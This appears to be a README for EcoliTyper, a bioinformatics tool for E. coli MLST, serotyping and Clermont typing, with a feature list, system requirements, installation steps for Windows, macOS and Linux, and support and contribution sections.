🦠 ecoliTyper - Simplifying E. coli Genotyping

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📖 About EcoliTyper

EcoliTyper is a comprehensive bioinformatics tool that combines three vital E. coli genotyping methods into one easy-to-use workflow. This application simplifies your work in clinical microbiology, outbreak investigations, and genomic research. With EcoliTyper, you can efficiently analyze strains and enhance your studies on Escherichia coli.

🛠️ Features

• Unified MLST, Serotyping, and Clermont typing.
• User-friendly interface, perfect for non-technical users.
• High-performance algorithms for fast and accurate results.
• Support for various E. coli strains.
• Comprehensive documentation to guide users.

🛡️ System Requirements

EcoliTyper is compatible with most modern systems. Ensure your computer meets the following requirements:

• Operating System: Windows 10 or later / macOS 10.12 or later / Linux (Ubuntu 20.04 or similar)
• Processor: 2 GHz or faster
• RAM: Minimum 4 GB (8 GB recommended)
• Disk Space: At least 500 MB free
• Network Connection: Required for initial download and updates

🚀 Getting Started

Follow these steps to get started with EcoliTyper.

Step 1: Download EcoliTyper

Go to the Releases page to find the latest version.

Step 2: Choose the Correct File

Look for the file that matches your operating system. The file names will indicate whether they are for Windows, Mac, or Linux.

Step 3: Download the File

Click on the file link to start downloading. The download should begin automatically.

Step 4: Install EcoliTyper

For Windows:

1. Locate the downloaded file, usually in the "Downloads" folder.
2. Double-click the file to start the installation.
3. Follow the on-screen instructions to complete the installation.

For macOS:

1. Open the downloaded .dmg file.
2. Drag the EcoliTyper icon to your Applications folder.
3. Open Applications and launch EcoliTyper.

For Linux:

1. Open a terminal.
2. Navigate to the directory where the file is downloaded.
3. Use the command chmod +x ecoliTyper*.sh to make the installer executable.
4. Run the installer with ./ecoliTyper*.sh and follow the prompts.

Step 5: Run EcoliTyper

• Once installed, locate the application in your programs or applications list.
• Click to run and begin your analysis.

📚 Documentation

For detailed usage instructions and feature descriptions, refer to the documentation included in your installation or visit our Documentation page.

🤝 Community and Support

Join our community of users to share your experiences, ask questions, and exchange tips:

• GitHub Issues: Report bugs or request features directly.
• Discussion Forum: Engage with other users and developers.

📝 Contributing

We welcome contributions to improve EcoliTyper. If you have ideas, please check our Contribution Guidelines before submitting your pull requests.

🔗 Download & Install

To download EcoliTyper, visit our Releases page. Choose the right file for your operating system, follow the steps outlined, and you will be ready to start your work in no time.

Thank you for choosing EcoliTyper!